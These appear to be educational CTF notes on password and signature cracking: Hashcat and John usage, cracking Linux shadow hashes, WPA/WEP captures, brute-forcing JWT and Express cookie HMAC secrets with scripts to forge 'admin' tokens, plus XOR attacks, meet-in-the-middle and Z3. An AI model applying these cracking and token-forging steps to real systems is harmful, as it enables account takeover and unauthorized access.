## [Hashcat](https://hashcat.net/hashcat/)

Hashcat is a hash-cracking tool that is often used professionally because it can use the GPU to get really fast cracking speeds. It also supports a lot of hashes just like John, the only thing is that it's a bit finicky to get working sometimes. But if you have a GPU in your cracking machine I highly suggest using Hashcat for it.

{% hint style="info" %}
**Tip**: To give hashcat as many resources as you can, you should try to not use it in a VM like Windows Subsystem Linux for example. To make sure it can use your GPU to the fullest run it in your main operating system
{% endhint %}

As seen in [#converting-hash-formats](#converting-hash-formats "mention"), Hashcat cannot always directly read a hash. You might need to convert it to the right format the way it expects. If it cannot recognize the hash correctly you might get a "No hashes loaded." warning.

Hashcat does not automatically recognize hash types, but you need to provide a **hash mode** with `-m [mode]` as an argument. To find the correct number to use for your hash you can look at the [example hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) or use [Name-That-Hash](https://github.com/HashPals/Name-That-Hash) which has RegExes to automatically recognize the hash and give you the hashcat mode.

Hashcat also has a few different **attack** **modes** for how to generate the passwords it tries. This is specified using the `-a [mode]` argument. Here are a few attack modes explained:

{% hint style="warning" %}
**Tip**: Hashcat caches results in order to not crack the same hash twice, and can show the found password again using `--show`. If you ever want to **clear** this cache simply remove the `~/.hashcat/hashcat.potfile` file
{% endhint %}

### [Dictionary attack](https://hashcat.net/wiki/doku.php?id=dictionary_attack)

To simply go through a wordlist for cracking, you can use attack mode 0 (`-a 0`). Then just provide the path to the wordlist after the file containing the hash:

```shell-session
hashcat -m 0 hash.txt -a 0 /list/rockyou.txt
```

### [Combinator attack](https://hashcat.net/wiki/doku.php?id=combinator_attack)

Similar to the Dictionary attack, you can combine two dictionaries to try all combinations of both lists. This could be useful with first and last names for example. Just use attack mode 1 (`-a 1`) and specify 2 wordlists this time.

```shell-session
hashcat -m 0 hash.txt -a 1 dict1.txt dict2.txt
```

You can make this attack a lot more powerful using [#rules](#rules "mention") to alter the words in the dictionary before guessing them (using the `-j` and `-k` arguments). This way you can mess with uppercase/lowercase, prefixes, suffixes, and a lot more. For an example using the combinator attack with rules see this writeup:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/hacky-holidays-unlock-the-city-2022/stop-the-heist#3-password-cracking>" %}
A writeup using the combinator attack with prefixes and suffixes to crack passwords in a `CTF{}` format
{% endembed %}

### [Mask attack](https://hashcat.net/wiki/doku.php?id=mask_attack)

The Mask attack is basically just brute force. You can specify a pattern for the password to be in, and it will try all possible combinations of letters/numbers, etc. Using attack mode 3 (`-a 3`), you can write a pattern like `?l?l?l?l?l?l?l?l` to try all lowercase 8-character passwords. There are a few more built-in character sets:

* `?l` = lowercase alphabet (`abcdefghijklmnopqrstuvwxyz`)
* `?u` = uppercase alphabet (`ABCDEFGHIJKLMNOPQRSTUVWXYZ`)
* `?d` = digits (`0123456789`)
* `?s` = special characters (``«space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~``)
* `?a` = all of the above (`?l?u?d?s`)
* `?h` = hex lowercase (`0123456789abcdef`)
* `?H` = hex uppercase (`0123456789ABCDEF`)
* `?b` = bytes (`0x00 - 0xff`)

You can even define your own charsets using the `-1` (one) option and then just use the `?1` anywhere in your pattern:

{% code title="Examples" %}

```python
?l?l?l?l?l?l?l?l   => aaaaaaaa - zzzzzzzz  # 8 lowercase characters
-1 ?l?d ?1?1?1?1?1 => aaaaa - 99999  # Define lowercase and digits as charset
password?d         => password0 - password9  # Can put text in mask
-1 ?l?u ?1?l?l?l?l?l19?d?d => aaaaaa1900 - Zzzzzz1999  # 6 characters, can be uppercase and year
-1 ?dabcdef -2 ?l?u ?1?1?2?2?2?2?2 => 00aaaaa - ffZZZZZ  # multiple custom charsets
-1 efghijklmnop ?1?1?1 => eee - ppp  # custom character set
```

{% endcode %}

```shell-session
hashcat -m 0 hash.txt -a 3 -1 ?l?u ?1?l?l?l?l?l19?d?d
```

#### Cracking IP addresses

Sometimes an IP address or things like 4-digit codes are hashed that don't have too many possibilities. These are often easy to crack with mask patterns in hashcat. For IP address there is a [ipv4.hcmask](https://pastebin.com/4HQ6C8gG) mask that you can use to crack an IPv4 address in a few minutes. Digit codes can easily be cracked with multiple `?d` charsets.

### [Rules](https://hashcat.net/wiki/doku.php?id=rule_based_attack)

Rules in Hashcat are incredibly powerful. There are so many things you can do with them to create any password list you would want.

You can quickly use the `-j` argument to write a single rule in the argument. The `'u'` rule for example just makes the password uppercase. Or use something like `'$1$2$3'` to append characters to the end.

To see exactly what passwords a rule generated you can use the `--stdout` flag to just print the generated passwords to the terminal instead of cracking anything:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cat list.txt
</strong>password
secret
root
<strong>$ hashcat --stdout -a 0 -j 'u$1$2$3' list.txt
</strong>PASSWORD123
SECRET123
ROOT123
</code></pre>

Using actual `.rule` files with the `-r` argument you can even specify multiple rules to create lots of passwords quickly:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ cat case.rule
</strong>l
u
<strong>$ cat 123.rule
</strong>$1
$2
$3
<strong>$ hashcat --stdout -r case.rule -r 123.rule list.txt
</strong>password1
PASSWORD1
password2
PASSWORD2
password3
PASSWORD3
secret1
SECRET1
secret2
SECRET2
secret3
SECRET3
root1
ROOT1
root2
ROOT2
root3
ROOT3
</code></pre>

## [John the Ripper](https://github.com/openwall/john)

John the Ripper is a hash-cracking tool that is easy to use. It automatically recognizes hash types and has lots of tools built in to extract hashes from various password-protected files. It's also quick to get started, as not much setup is required. The only downside compared to hashcat is the fact that it's often a bit slower. This doesn't matter when a hash only takes seconds to crack, but it really matters if you're cracking for multiple hours.

PentestMonkey has made a list of example hashes for John the Ripper, and how to crack them. Not all hash types are included but a bit of googling should get you there:

{% embed url="<https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats>" %}
A list of example hashes with their name and john mode
{% endembed %}

John is pretty specific with its arguments. For a custom wordlist, make sure to use `-wordlist=` with the `=` sign. If you do not include the `=` sign it will give a weird "invalid UTF-8" error. Here is an example of how you should run john:

<pre class="language-shellscript" data-title="Cracking an MD5 hash"><code class="lang-shellscript"><strong>$ cat hash.txt
</strong>5ebe2294ecd0e0f08eab7690d2a6ee69
<strong>$ john --wordlist=/list/rockyou.txt --format=raw-md5 hash.txt 
</strong>Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
secret           (?)
1g 0:00:00:00 DONE (2022-08-18 22:05) 50.00g/s 19200p/s 19200c/s 19200C/s 123456..michael1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
</code></pre>

### Cracking shadow hashes

The `/etc/shadow` file on Linux contains the password hashes for all users with a password. Normally of course this would only be readable by root, but sometimes you can exploit a vulnerability to read files as root. You could read this file to get the password hashes, and then crack the hashes on your own machine.

To get the usernames and other useful information for John, also get the `/etc/passwd` file. We can then use these files with the `unshadow` tool from the `john/run` directory:

```shell-session
~/john/run/unshadow passwd shadow > hashes.txt
```

Then we get a `hashes.txt` file that `john` can read. Just put in your wordlist of choice, and get cracking!

```shell-session
john hashes.txt --wordlist=rockyou.txt
```

When it finds a hash, it will output it to the terminal. But if you ever lose it, `john` saves it for you so you can always use `--show` on the hashes file to see what the password was that it found.

```shell-session
john --show hashes.txt
```

Finally, you can use `su [username]` to log into the user you cracked, and see if you can escalate more with your new privileges.

## Cracking Wifi

Packet captures can capture Wifi WEP/WPA handshakes, which can be cracked offline using a tool like [#hashcat](#hashcat "mention"). When you get a `.pcap` file containing 802.11 encrypted data, you can crack the password to decrypt the packets.

### WPA/WPA2 Handshakes

To extract hashes from a `.pcap` file, you can use [this site](https://hashcat.net/cap2hashcat/) or download `hcxtools` yourself:

```shell-session
git clone https://github.com/ZerBea/hcxtools && cd hcxtools
make
make install
```

Then after it's installed, you can use the `hcxpcapngtool` command to extract the handshakes from the capture. Then use hashcat with mode 22000 or 22001 to crack the password:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ hcxpcapngtool capture.pcap -o capture.hashes
</strong><strong>$ cat capture.hashes
</strong>WPA*02*a462a7029ad5ba30b6af0df391988e45*000c4182b255*000d9382363a*436f6865726572*3e8e967dacd960324cac5b6aa721235bf57b949771c867989f49d04ed47c6933*0203007502010a00100000000000000000cdf405ceb9d889ef3dec42609828fae546b7add7baecbb1a394eac5214b1d386000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000*02
<strong>$ hashcat -m 22000 hash.txt list.txt
</strong>...
a462a7029ad5ba30b6af0df391988e45:000c4182b255:000d9382363a:Coherer:Induction
</code></pre>

After you find the password, you can use Wireshark to decrypt the packets (see [Wireshark](/forensics/wireshark#decrypting))

### WEP

WEP is an old Wifi encryption standard where every device uses the same key. It also happens to be easily crackable with enough traffic. It requires lots of IVs (Initialization Vectors), which can come from lots of normal traffic, or you can manually send specific packets that would trigger IVs to be generated if you have access to the network (see [this tutorial](https://www.aircrack-ng.org/doku.php?id=simple_wep_crack)). When you have a packet capture with enough information, you can use [`aircrack-ng`](https://www.aircrack-ng.org/) to quickly find the key:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ aircrack-ng capture.cap
</strong>...
KEY FOUND! [ 1F:1F:1F:1F:1F ]
</code></pre>

After it completes, you can use the key it found (hex format) to decrypt all the traffic (see [Wireshark](/forensics/wireshark#decrypting))


# Cracking Signatures

Some examples of signature implementations (often HMAC) that can be cracked using hashcat

{% hint style="info" %}
See [Cracking Hashes](/cryptography/hashing/cracking-hashes#hashcat) for general information on how to use `hashcat`, this page explains some practical usages in relation to signatures which are often used in cookies to authenticate users
{% endhint %}

## JSON Web Token (JWT)

JSON Web Tokens are strings of Base64-encoded data signed using some secret key. This means the client can store and read the data inside of this token, but they cannot change it without knowing the correct signing key. Only the server should be able to generate these tokens for you in a secure scenario.

{% embed url="<https://jwt.io/>" %}
An interactice JWT playground to decode and encode tokens
{% endembed %}

The fact that we know the plaintext data, and everything is stored on the client, means that it is inherently vulnerable to brute-force attacks. We can guess many different signing keys to find when it aligns with the expected signature, which is exactly what we will use hashcat for.

There are multiple different algorithms for signing the data, which is always given by the `"alg"` value in the header of the token. Two of the most common are:

* **HS256**: HMAC (with SHA256) using a **password** as a secret
* **RS256**: RSA (with SHA256) using a cryptographic **private key**

RSA is *not* easily brute-forced without a weak key, or some other special vulnerability in the generated key. Because of this, only the HMAC version is viable for brute-forcing with a password dictionary in hashcat. Luckily, this is a well-known algorithm used in many other places and is implemented in a pretty simple way for JWTs.

Let's take the following simple example:

{% code title="JSON Web Token" overflow="wrap" %}

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.XbPfbIHMI6arZ3Y922BhjWgQzWXcXNrz0ogtVhfEd2o
```

{% endcode %}

Hashcat has a special JWT mode (`-m 16500`) that automatically extracts the payload and signature to create a simple HMAC input/output which can run at very high speeds (`~500 MH/s` on my laptop). It even auto-detects this mode for us, meaning we only need to provide the hash and how passwords should be generated:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ hashcat eyJhbGciOiJIUzI1NiIsInR5cC...zWXcXNrz0ogtVhfEd2o /list/rockyou.txt
</strong>
hashcat starting in autodetect mode
16500 | JWT (JSON Web Token) | Network Protocol
...
eyJhbGciOiJIUzI1NiIsInR5cC...zWXcXNrz0ogtVhfEd2o:secret
</code></pre>

Now that we know the password, we can use the [debugger site](https://jwt.io/) to forge any new data. Simply input your original JWT, and set the secret where it says "your-256-bit-secret", which should now make a "Signature Verified" checkmark appear. At this point, you can change any data in the Payload section to forge other users' data, perform deeper injections, or anything else you can imagine.

### Custom HMAC

A developer might use a less-known HMAC function to sign their JWTs, which hashcat may not be able to parse for you directly. In these cases, it is a matter of extracting the useful information manually, and then using lower-level hashcat modes to crack the secret.

Imagine an **MD5** HMAC for example:

<pre class="language-json" data-title="JSON Web Token"><code class="lang-json"><strong>eyJhbGciOiAiTUQ1X0hNQUMifQ.eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ.yKcA62pVJ8Pij7SajzE8nw
</strong>
{
  "alg": "MD5_HMAC"
}
...
</code></pre>

An HMAC signature works using some data as the payload, and a key which is the password. In JWT this is implemented in the following way:

```python
[hash]_HMAC(
  urlsafe_base64encode(header) + "." +
  urlsafe_base64encode(payload),
  secret
)
```

The `header` and `payload` are both urlsafe-Base64 encoded, and joined together by a `.` period. This is the raw data provided to the HMAC function, together with the `secret` which is often just put in raw, but could in some cases also be Base64 encoded.

Inside the JWT, the header and payload are already put in the right format, being the part before the second period (`eyJhbGciOiAiTUQ1X0hNQUMifQ.eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ`). Then the last part is the signature, meaning the result of the HMAC function. It is Base64 encoded while hashcat expects it as **hex** like a regular hash. This means we just have to convert this last part to hex to get a string it understands:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ echo yKcA62pVJ8Pij7SajzE8nw | base64 -d | xxd -p
</strong>c8a700eb6a5527c3e28fb49a8f313c9f
</code></pre>

Finally, we have all the parts we need, and can write out the hash in the way hashcat expects:

```
<signature>:<data>
c8a700eb6a5527c3e28fb49a8f313c9f:eyJhbGciOiAiTUQ1X0hNQUMifQ.eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ
```

Then we simply use the raw HMAC-MD5 (`-m 50`) mode in hashcat to crack the secret like before:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ hashcat -m 50 hash2.txt /list/rockyou.txt
</strong>...
c8a700eb6a5527c3e28fb49a8f313c9f:eyJhbGciOiA...IxYW4ifQ:secret
</code></pre>

### Manually Forging

When we have a secret key, we can try to forge new data with it by implementing the algorithm in a simple script. There are many easy libraries that do most of the work already, so it is simply a matter of understanding the required steps. For JWTs:

1. First the `header` and `payload` JSON data is encoded into a string, and are separately Base64 encoded, which are then joined together by `.` period
2. An HMAC signature is made by putting the data from step 1 in the data argument, and the secret in the key argument, selecting the correct hash function (MD5, SHA256, etc.)
3. This resulting signature is Base64 encoded and appended together with a `.` in front to the header and payload value from step 1, which becomes the resulting JWT

Putting this into code, it looks something like this:

{% code title="Python" %}

```python
import hmac
from base64 import urlsafe_b64encode
import json

KEY = b"secret"
HASH = "md5"

header = {
  "alg": "MD5_HMAC"
}
payload = {
  "username": "admin"
}

headers_enc = urlsafe_b64encode(json.dumps(header).encode()).decode().strip("=")
payload_enc = urlsafe_b64encode(json.dumps(payload).encode()).decode().strip("=")

data = f"{headers_enc}.{payload_enc}"
signature = urlsafe_b64encode(hmac.new(KEY, data.encode(), digestmod=HASH).digest()).decode().strip("=")

print(f"{data}.{signature}")
# eyJhbGciOiAiTUQ1X0hNQUMifQ.eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ.yKcA62pVJ8Pij7SajzE8nw
```

{% endcode %}

In this way, you can generate any type of signature for your JWT after cracking it, regardless of if the [online debugger](https://jwt.io/) has it.

## Flask Session

{% hint style="info" %}
See the [Flask](/web/frameworks/flask#brute-force) section for Flask Session Cookies. An all-in-one tool can crack it for you, or use hashcat to do so much faster
{% endhint %}

## `cookie-session` from Express (`session.sig=`)

{% hint style="warning" %}
See [this writeup](https://vihan.org/write-ups/insomnihack-2020/#secretus) for an example using `express-session` instead, which looks like:\
`s:lkdh18zhtZX-vve8gThP8_NEoTkr-OsT.T4zrDEc9N2RbIViBsst5ZlWo1DfWL`

(recognizable by the `s:` prefix)
{% endhint %}

The [`cookie-session`](https://github.com/expressjs/cookie-session) library from the NodeJS Express framework is a common way of managing sessions. Similarly to JWTs and Flask Sessions, it also stores data on the client together with a signature that prevents it from being changed using HMAC. We simply have to adapt the HMAC function to use a different hash and alter the input format.

The information is split into the data as `session=` and the signature as `session.sig=`. For example:

```http
Cookie: session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ; session.sig=eORsWVeMDsGGRNp-QK-sbzHp8as
```

From a test [here](https://github.com/pillarjs/cookies/blob/master/test/test.js#L26-L28) we can find that the `cookies` library uses another library named [Keygrip](https://github.com/crypto-utils/keygrip/blob/master/index.js#L21-L28) with the default configuration to generate this signature from data and a key. The implementation is simply another HMAC this time using SHA1, and the data is the cookie data, meaning `"session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ"` with whatever the payload is. Lastly, the signature is encoded in Base64 again, we need to decode and encode it to hex for hashcat to understand:

<pre class="language-python"><code class="lang-python">>>> from base64 import urlsafe_b64decode
<strong>>>> urlsafe_b64decode(b'eORsWVeMDsGGRNp-QK-sbzHp8as' + b"==").hex()
</strong>'78e46c59578c0ec18644da7e40afac6f31e9f1ab'
</code></pre>

Knowing this we can easily create a hashcat hash in this format (note that `session=` may be different depending on your cookie name):

{% code title="hash.txt" %}

```
78e46c59578c0ec18644da7e40afac6f31e9f1ab:session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ
```

{% endcode %}

Finally, we can use the HMAC-SHA1 mode (`-m 150`) to crack it:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ hashcat -m 150 hash.txt /list/rockyou.txt
</strong>...
78e46c59578c0ec18644da7e40afac6f31e9f1ab:session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ:secret
</code></pre>

Now that the secret key is found, we can forge any cookie payload with a valid signature:

```python
import hmac
from base64 import urlsafe_b64encode
from hashlib import sha1
import json

def sign(data, key):
    signature = hmac.new(key, data, sha1)
    signature_enc = urlsafe_b64encode(signature.digest()).rstrip(b"=")
    return signature_enc

SECRET = b"secret"
payload = {"username": "j0r1an"}

data = b'session=' + urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=")
signature = sign(data, SECRET)

print(data)  # b'session=eyJ1c2VybmFtZSI6ICJqMHIxYW4ifQ'
print(b'session.sig=' + signature)  # b'session.sig=eORsWVeMDsGGRNp-QK-sbzHp8as'
```


# XOR

An operation between bits used often in cryptography

## Description

Understanding XOR is very important in cryptography because a lot of encryption algorithms use it in some way. XOR stands for eXclusive OR, meaning it's the OR operation but without 1+1 being true. You can see a truth table below:

<table data-header-hidden><thead><tr><th width="99" align="center"></th><th width="79" align="center"></th><th width="81" align="center"></th></tr></thead><tbody><tr><td align="center"><strong>XOR</strong></td><td align="center"><strong>0</strong></td><td align="center"><strong>1</strong></td></tr><tr><td align="center"><strong>0</strong></td><td align="center"><code>0</code></td><td align="center"><code>1</code></td></tr><tr><td align="center"><strong>1</strong></td><td align="center"><code>1</code></td><td align="center"><code>0</code></td></tr></tbody></table>

This means that only if the two values are different, the XOR function will return 1. It also means that if one value is 1, the result will be the inverse of the other value. So XORing with 1 is basically flipping a bit.

Often you're working with long strings of bytes that are XORed, but this works the same way, just doing XOR for every bit:

```python
01000010 01111001 01100101 = "Hey"  # Plaintext
01001011 01000101 01011001 = "KEY"  # Key
-------------------------- XOR
00001001 00111100 00111100 = "\t<<"  # Ciphertext
```

The nice thing about XOR is also the fact that encryption and decryption are the exact same operation because you're just flipping the bits where the key is 1. When decrypting you're just flipping the bits back:

```python
00001001 00111100 00111100 = "\t<<"  # Ciphertext
01001011 01000101 01011001 = "KEY"  # Key
-------------------------- XOR
01000010 01111001 01100101 = "Hey"  # Plaintext
```

But this also means that if you know the ciphertext, and the plaintext you can XOR them both to get the key:

```python
00001001 00111100 00111100 = "\t<<"  # Ciphertext
01000010 01111001 01100101 = "Hey"  # Plaintext
-------------------------- XOR
01001011 01000101 01011001 = "KEY"  # Key
```

Since XOR encryption works bit-by-bit you don't even need to know the whole plaintext to get part of the key. If you know only the first few characters of the plaintext, or in some special positions you can still get the key at those same positions.

## Repeating-key XOR

Repeating-key XOR is when a key for XOR is shorter than the plaintext/ciphertext and needs to be repeated to fill the space.

```
Plaintext: Hello, world! And some more text.
Key:       secretsecretsecretsecretsecretsec
```

Using some analytical techniques it's possible to abuse this fact to brute-force the key byte-by-byte by looking at what the plaintext would be after decrypting. You can filter out any non-printable characters for example to narrow down a lot of results, and there are lots of techniques fo finding how normal a text looks. As you can imagine this works better for longer plaintexts, because the key will be repeated more times.

There is a useful tool that finds the key length, and brute-forces it automatically:

{% embed url="<https://github.com/hellman/xortool>" %}
A tool to analyze and brute-force XOR repeating-key encryption
{% endembed %}

{% code title="Examples" %}

```shell
xortool file.bin  # Find lengths
xortool -l 11 -c 20 file.bin  # Length 11 + character \x20 (space) most common
xortool -x -c ' ' file.hex  # File is hex encoded + space character most common
xortool -b -f message.enc  # Brute-force with output filter (charset)
xortool -b -p "CTF{" message.enc  # Brute-force with known plaintext
```

{% endcode %}

## Multi-Time Pad (Crib Dragging)

The [One-Time Pad](https://en.wikipedia.org/wiki/One-time_pad) (OTP) is a well-known **unbreakable** cipher. The important thing though is *One-Time*, and when the key is used multiple times instead, it becomes insecure very quickly.

[This answer](https://crypto.stackexchange.com/a/33694) explains the idea behind the "Many-Time Pad" attack. The main takeaway is that if you guess one character at a position correctly, you can get back the secret at that index, and reuse that for other ciphertexts to make better guesses.

A simple but useful tool here is the one linked below. You provide two ciphertexts and can guess common strings like " `the` " or "`. The` " or others if you know part of the plaintext. The tool will show what the other plaintext must be at all positions. Try to find a plausible text here, and click Output 1/2 to save it there and continue:

{% embed url="<https://toolbox.lotusfa.com/crib_drag/>" %}
Try "Crib words" to guess plaintext possibilities and find positions
{% endembed %}

After finding a chunk of plaintext, a useful **interactive tool** is [MTP](https://github.com/CameronLonsdale/MTP) by *CameronLonsdale*. It allows you to write letters in all plaintext guesses at the same time to see if anything makes sense:

<figure><img src="/files/anYiHIjtuzDorJE0esN5" alt=""><figcaption><p>Interactively guess letters to expand the plaintext all the way</p></figcaption></figure>


# Custom Ciphers

"Never roll your own crypto" is a saying for a reason. It's hard to make a secure cryptographic algorithm because there are many ways it may be broken

## General Ideas

The first thing you should look at with a custom cipher is what randomness it relies on. You should look at **how many possible keys** there are to brute-force. Sometimes only ASCII values are allowed in the key, meaning you don't have to brute-force all 256 bytes, but only the 32-127 bytes.

Also think about if it's possible to brute-force some parts **separately**, instead of all at once. Sometimes you can know when a certain byte in the key is correct, meaning you can brute-force all the bytes one by one.

This is the basis of finding vulnerabilities in custom ciphers. It's all about thinking about how you could brute-force the key and tricks to do it more efficiently.

In a challenge meant to be solved, it is often fast enough to use a simple language like Python. But it creates lots of overhead and implementations of brute-force in languages like C or Rust will often be way faster.

### Meet in the Middle

There is a great [YouTube video](https://www.youtube.com/watch?v=wL3uWO-KLUE) by *polylog* explaining this technique to solve Rubik's Cubes as an example.

<figure><img src="/files/JpfPezMEnHe39NUWh4o5" alt=""><figcaption><p>An visual example of using the Meet in the Middle attack for Rubik's Cubes (from the video)</p></figcaption></figure>

The goal of a cryptographic algorithm is that it's really hard to brute-force. Sometimes this is done by repeating tasks to make it exponentially harder.

Take **DES,** for example, an old encryption standard with a **56-bit** key. Nowadays cracking a 56-bit key is doable on a very powerful computer. We could naively just come up with "**Double DES**", which would just be 2 DES encryptions with 2 different keys. That means you would need 2x56-bit keys meaning 112 bits. This is absolutely not brute-forcible and you might think it is secure.

When you only have a ciphertext and you don't know what plaintext it will turn into, you cannot break it as you would indeed need to brute-force all 112 bits at the same time, maybe until some meaningful text comes out. You would need about 5e+33 operations to go through all the keys.

But in the case, you have a **plaintext-ciphertext pair**, you can do a lot better. This is because you don't need to start at the ciphertext and brute-force all the way to the plaintext. Instead, you can start brute-force *decrypting* from the ciphertext **halfway** to the plaintext, and then also brute-force *encrypting* from the plaintext halfway to the ciphertext. If you store all the middle values from encrypting the plaintext, you can try to find a match when decrypting the ciphertext. A match here means the first 56-bit key is the one from the plaintext, and the second key is the one from the ciphertext. This is known as the **Meet in the Middle** attack.

You could use this to cut the exponent in half of something that exponentially gets harder. In this Double DES example above, it would result in brute-forcing two 56-bit keys separately, instead of one 112-bit key. The only catch here is the fact that you would have to store all the halfway points and their keys, meaning it could take up quite a bit of **memory**. But this is often very worth it as the amount of computation is greatly reduced.

{% hint style="info" %}
**Note**: Often you'll see in real challenges that the key has some restrictions which make it not as random as completely random bits to brute-force. Since these attacks rely on half of the exponent being doable, which isn't always the case with large-key cryptographic algorithms like AES.
{% endhint %}

For an example of this attack in practice, you can see this writeup:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/cyber-santa-is-coming-to-town-2021/meet-me-halfway>" %}
Challenge with two weak AES keys to brute-force separately using Meet in the Middle
{% endembed %}

The basic idea of the attack is first brute-forcing one key, then saving all the halfway point together with the key they came from, then brute-forcing the second key and checking when a halfway point matches that from the first key. Then you have both parts of the key.


# Z3 Solver

The Z3 Theorem Prover can automatically solve puzzles in Python

## Description

The Z3 Theorem Prover is a Python library that can automatically solve puzzles you give it in code.

```shell-session
pip install z3-solver
```

The idea is that you define Z3 variables and perform certain operations on them. Then you can add constraints to the solver and lets it fulfill those constraints. To learn using Z3 I highly suggest looking up some random puzzles and trying to solve them with Z3. There are lots of useful functions in Z3 to try out.

One example Z3 would be good at is math equations. It can for example solve a quadratic equation like $$6x² + 11x - 35 = 0$$:

<pre class="language-python"><code class="lang-python">from z3 import *

s = Solver()

# Define variables
<strong>x = Real('x')
</strong>
# Define operations (an equation in this case)
<strong>y = 6*x**2 + 11*x - 35
</strong>
# Define constraints
<strong>s.add(y == 0)
</strong># s.add(6*x**2 + 11*x - 35 == 0)  # Also works

if s.check() == sat:  # If satisfiable
    print(s.model())  # [x = 5/3]
</code></pre>

{% hint style="info" %}
Note that the operations and constraints don't need to be in a specific order. You can call `s.add()` any time to add a constraint with the current variables
{% endhint %}

{% embed url="<https://z3prover.github.io/api/html/z3.z3.html>" %}
Official documentation for the Python module
{% endembed %}

{% embed url="<https://ericpony.github.io/z3py-tutorial/guide-examples.htm>" %}
Guide on using Z3 for practical problems
{% endembed %}

By default, Z3 will only try to find one solution, but you can also let it find all the solutions by just adding a constraint to say that it can't use that same solution again, and then letting it solve again:

```python
while s.check() == sat:  # While satisfiable
    m = s.model()
    print(m)  # [x = 5/3], [x = -7/2]
    s.add(x != m[x])  # Exclude this solution
```

### Variable types

* `Int(name)`: An integer value, without fractions
* `Real(name)`: A real number, with fractions
* `Bool(name)`: A boolean value, True or False
* `BitVec(name, bits)`: "Bit Vector", a collection of bits forming a number. Useful for working with bytes/integers that wrap around. See [#bitwise-operations](#bitwise-operations "mention") for details

{% hint style="info" %}
Almost all variable types can also be defined as multiple at once by appending an `s` to the function name. For example:

`Bools('a b c d e')`
{% endhint %}

### Functions

* `And(*args)`: All conditions in this function must be met
* `Or(*args)`: Any condition in this function must be met
* `Not(a)`: Condition inverts
* `Xor(a, b)`: Performs the Exclusive OR operation on the two values. Only one of the two can be true.
* `LShR(n, b)`: Logical right shift (`abcd` -> `0abc`)\
  The normal `>>` operator does `abcd` -> `aabc` instead. For clarity about all these shifts see [StackOverflow](https://stackoverflow.com/a/44695162/10508498)
* `Distinct(*args)`: All values need to be different from each other

{% hint style="info" %}
The rest of the operations should be available just using the normal arithmetic operators in python, like `+`, `-`, `*`, `/` or `**`.\
Also the bitwise operators: `<<`, `>>`, `&`, `|`\
And finally, the comparison operators: `==`, `!=`, `<`, `>`, `<=`, `>=`
{% endhint %}

### Logic gates

Logic gates are used everywhere in computers. One common problem is finding out what input leads to a given output. You could try to reverse this by hand by going through the circuit backwards but this is often very tedious. Luckily Z3 can do this for us.

It has support for `Bool` values that are either ON or OFF, just like a regular logic circuit. Then we can use functions like `And`, `Or`, `Not` and `Xor` to recreate the circuit in Z3, and finally, add the last output to the solver as a constraint. This way Z3 will find a value for all the input booleans that make the output true. See an example of a script that does this for the Google Beginners CTF:

{% embed url="<https://github.com/JorianWoltjer/z3-scripts/blob/master/google_beginners_ctf_logic.py>" %}
An example of solving a logic gate in Z3 for the Google Beginners CTF
{% endembed %}

### Bitwise Operations

When reverse engineering a low-level cryptographic algorithm you're often looking at bitwise operations like shifts, XORs and multiplication or addition which wrap. This is difficult to do cleanly in plain Python, but Z3 can help us out with the `BitVec` and `BitVecVal` constructors to create variables that behave like n-bit numbers, allowing easy bitwise operations and solving.

With signed and unsigned numbers and varying bits, this can be a bit tricky to get right. Most operators work as you would expect:

* `+`, `-`: Add and subtract as unsigned numbers, wrapping on overflow
* `&`, `|`, `^`: AND, OR and XOR operations on each bit of both numbers
* `~`: Invert all bits of one number
* `*`: Multiply, works like *adding* multiple times

With `BitVec`'s, there are a few edge cases, however. Namely, some operators perform **signed** versions by default. This means the first bit of the number represents the sign of the decimal number, and is not always the desired behavior. This is an especially large pitfall for the `>>` shift right operator which you might expect to shift right and fill bits on the left with 0's, but instead, it will be filled with the sign (first) bit!

Not only `>>` is a victim of this, but also other operators like `/` divide and `%` modulus. Even comparison operators like `<` and `>` do a signed comparison by default. Luckily, there are built-in replacements that do the *unsigned* version instead. For `>>`, for example, there is `LShR()`. Here are some examples of performing specific bitwise operations to explain their differences:

